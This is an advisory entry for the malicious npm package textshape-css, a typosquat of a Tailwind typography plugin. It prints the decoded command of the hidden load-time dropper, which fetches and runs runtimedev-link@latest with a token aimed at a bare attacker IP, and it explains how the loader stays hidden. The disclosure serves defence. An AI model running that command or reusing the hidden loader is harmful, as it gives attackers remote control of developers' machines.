textshape-css
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-pmmh-8m34-xxwh
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in textshape-css (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (4e596e1ea1365aadfa6c75047b664bb41b29b60828595b9271d4c2c217476b60)
The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to child_process, spawn/exec, /bin/sh, and the command npx -y runtimedev-link@latest --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9". A trailing _.y(); invokes this immediately whenever any consumer does require('textshape-css') / import 'textshape-css'. On POSIX it spawns /bin/sh -c 'nohup... >/dev/null 2>&1' detached with stdio ignored; on Windows it goes via child_process.exec with windowsHide. The effect is to fetch and run an unpinned third-party npm package (runtimedev-link@latest) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.
Source: ghsa-malware (65fa392a5abf97b05b32644b1085e63b26e3ea3e765e0cda6ab180e1593a0d95)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0